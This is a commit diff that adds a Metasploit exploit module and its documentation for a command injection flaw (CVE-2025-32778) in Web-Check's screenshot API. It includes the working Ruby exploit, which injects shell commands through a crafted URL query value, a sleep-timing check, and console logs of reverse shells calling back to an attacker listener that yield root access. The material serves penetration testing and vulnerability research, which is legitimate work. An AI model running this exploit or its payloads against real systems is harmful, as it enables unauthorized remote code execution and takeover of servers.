Add Web-Check screenshot API command injection RCE exploit (CVE-2025-32778)
This commit is contained in:
@@ -0,0 +1,91 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module exploits a command injection vulnerability in Web-Check's `/api/screenshot` endpoint.
|
||||
The vulnerability exists in versions before commit 0e4958aa10b2650d32439a799f6fc83a7cd46cef.
|
||||
|
||||
1. Clone the vulnerable version:
|
||||
```
|
||||
cd ~/web-check
|
||||
git checkout 0e4958aa10b2650d32439a799f6fc83a7cd46cef~1
|
||||
```
|
||||
|
||||
2. Build and run with Docker:
|
||||
```
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
3. Verify the application is running at http://localhost:3000
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: `use exploit/multi/http/web_check_screenshot_rce`
|
||||
3. Do: `set RHOSTS localhost`
|
||||
4. Do: `set RPORT 3000`
|
||||
5. Do: `set LHOST <docker_gateway_ip>`
|
||||
6. Do: `run`
|
||||
7. You should get a meterpreter session.
|
||||
|
||||
## Options
|
||||
|
||||
This module uses standard HTTP options.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Meterpreter Reverse TCP
|
||||
|
||||
```
|
||||
msf > use exploit/multi/http/web_check_screenshot_rce
|
||||
[*] No payload configured, defaulting to cmd/linux/http/aarch64/meterpreter/reverse_tcp
|
||||
msf exploit(multi/http/web_check_screenshot_rce) > set RHOSTS 172.23.0.2
|
||||
RHOSTS => 172.23.0.2
|
||||
msf exploit(multi/http/web_check_screenshot_rce) > set RPORT 3000
|
||||
RPORT => 3000
|
||||
msf exploit(multi/http/web_check_screenshot_rce) > set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
PAYLOAD => cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
msf exploit(multi/http/web_check_screenshot_rce) > set LHOST 172.17.0.1
|
||||
LHOST => 172.17.0.1
|
||||
msf exploit(multi/http/web_check_screenshot_rce) > set LPORT 4444
|
||||
LPORT => 4444
|
||||
msf exploit(multi/http/web_check_screenshot_rce) > run
|
||||
[*] Started reverse TCP handler on 172.17.0.1:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable. Command injection vulnerability confirmed via sleep timing
|
||||
[*] Sending stage (3090404 bytes) to 172.23.0.2
|
||||
[*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.23.0.2:52296) at 2025-12-18 18:44:37 +0100
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : 172.23.0.2
|
||||
OS : Debian 11.9 (Linux 6.14.0-116036-tuxedo)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
```
|
||||
|
||||
### Reverse Shell Bash
|
||||
|
||||
```
|
||||
msf > use exploit/multi/http/web_check_screenshot_rce
|
||||
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
msf exploit(multi/http/web_check_screenshot_rce) > set RHOSTS 172.23.0.2
|
||||
RHOSTS => 172.23.0.2
|
||||
msf exploit(multi/http/web_check_screenshot_rce) > set RPORT 3000
|
||||
RPORT => 3000
|
||||
msf exploit(multi/http/web_check_screenshot_rce) > set PAYLOAD cmd/unix/reverse_bash
|
||||
PAYLOAD => cmd/unix/reverse_bash
|
||||
msf exploit(multi/http/web_check_screenshot_rce) > set LHOST 172.17.0.1
|
||||
LHOST => 172.17.0.1
|
||||
msf exploit(multi/http/web_check_screenshot_rce) > set LPORT 4444
|
||||
LPORT => 4444
|
||||
msf exploit(multi/http/web_check_screenshot_rce) > run
|
||||
[*] Started reverse TCP handler on 172.17.0.1:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable. Command injection vulnerability confirmed via sleep timing
|
||||
[*] Command shell session 2 opened (172.17.0.1:4444 -> 172.23.0.2:44860) at 2025-12-18 18:46:23 +0100
|
||||
|
||||
id
|
||||
uid=0(root) gid=0(root) groups=0(root)
|
||||
echo "Hacking is good"
|
||||
Hacking is good
|
||||
```
|
||||
|
||||
@@ -0,0 +1,132 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'rex/stopwatch'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Web-Check Screenshot API Command Injection RCE',
|
||||
'Description' => %q{
|
||||
This module exploits a command injection vulnerability in Web-Check's `/api/screenshot` endpoint.
|
||||
The `directChromiumScreenshot()` function uses `child_process.exec()` with unsanitized user input,
|
||||
allowing command injection via URL query parameters. The vulnerability was patched in commit
|
||||
0e4958aa10b2650d32439a799f6fc83a7cd46cef by replacing `exec()` with `execFile()`.
|
||||
},
|
||||
'Author' => [
|
||||
'Valentin Lobstein <chocapikk[at]leakix.net>' # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
['CVE', '2025-32778'],
|
||||
['URL', 'https://github.com/Lissy93/web-check'],
|
||||
['URL', 'https://github.com/Lissy93/web-check/commit/0e4958aa10b2650d32439a799f6fc83a7cd46cef']
|
||||
],
|
||||
'Platform' => %w[unix linux win],
|
||||
'Arch' => [ARCH_CMD],
|
||||
'Payload' => {
|
||||
'Space' => 131068,
|
||||
'DisableNops' => true,
|
||||
'Encoder' => 'cmd/base64'
|
||||
},
|
||||
'Targets' => [
|
||||
[
|
||||
'Unix/Linux Command',
|
||||
{
|
||||
'Platform' => %w[unix linux],
|
||||
'Arch' => ARCH_CMD
|
||||
# tested with cmd/unix/reverse_bash
|
||||
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
}
|
||||
],
|
||||
[
|
||||
'Windows Command',
|
||||
{
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_CMD
|
||||
# tested with cmd/windows/http/x64/meterpreter/reverse_tcp
|
||||
}
|
||||
]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => '2025-04-12',
|
||||
'DefaultTarget' => 0,
|
||||
'DefaultOptions' => {
|
||||
'RPORT' => 3000
|
||||
},
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [REPEATABLE_SESSION],
|
||||
'SideEffects' => [IOC_IN_LOGS]
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options([
|
||||
OptString.new('TARGETURI', [true, 'The base path to Web-Check', '/'])
|
||||
])
|
||||
end
|
||||
|
||||
def build_url(command = nil)
|
||||
return Faker::Internet.url if command.nil?
|
||||
|
||||
param = Faker::Alphanumeric.alphanumeric(number: rand(4..10))
|
||||
"http://#{Faker::Internet.domain_name}?#{param}=\";#{command}\""
|
||||
end
|
||||
|
||||
def send_screenshot_request(command = nil)
|
||||
url = build_url(command)
|
||||
send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'api', 'screenshot'),
|
||||
'method' => 'GET',
|
||||
'vars_get' => { 'url' => url }
|
||||
})
|
||||
end
|
||||
|
||||
def check
|
||||
res, baseline_elapsed = Rex::Stopwatch.elapsed_time do
|
||||
send_screenshot_request
|
||||
end
|
||||
|
||||
return CheckCode::Unknown("#{peer} - No response from web service") unless res
|
||||
return CheckCode::Safe('Screenshot API endpoint not found') if res.code == 404
|
||||
|
||||
network_latency = [baseline_elapsed, 0.3].max
|
||||
vprint_status("Testing command injection (baseline: #{baseline_elapsed.round(2)}s)")
|
||||
sleep_tests = [2, 3, 4].map do |duration|
|
||||
_, elapsed = Rex::Stopwatch.elapsed_time do
|
||||
send_screenshot_request("sleep #{duration}")
|
||||
end
|
||||
threshold = duration - network_latency
|
||||
vprint_status("Sleep #{duration}s: #{elapsed.round(2)}s (threshold: #{threshold.round(2)}s)")
|
||||
{ elapsed: elapsed, threshold: threshold }
|
||||
end
|
||||
|
||||
passed_tests = sleep_tests.count { |test| test[:elapsed] >= test[:threshold] }
|
||||
|
||||
case passed_tests
|
||||
when 2..3
|
||||
return CheckCode::Vulnerable('Command injection vulnerability confirmed via sleep timing')
|
||||
when 1
|
||||
return CheckCode::Appears('Screenshot API endpoint exists and may be vulnerable')
|
||||
end
|
||||
|
||||
return CheckCode::Appears('Screenshot API endpoint exists but RCE not confirmed') if res.code == 200 && res.body.to_s.include?('image')
|
||||
|
||||
CheckCode::Unknown('Could not determine vulnerability status')
|
||||
end
|
||||
|
||||
def exploit
|
||||
vprint_status('Sending payload via screenshot API')
|
||||
send_screenshot_request(payload.encoded)
|
||||
end
|
||||
end
|
||||
Reference in New Issue
Block a user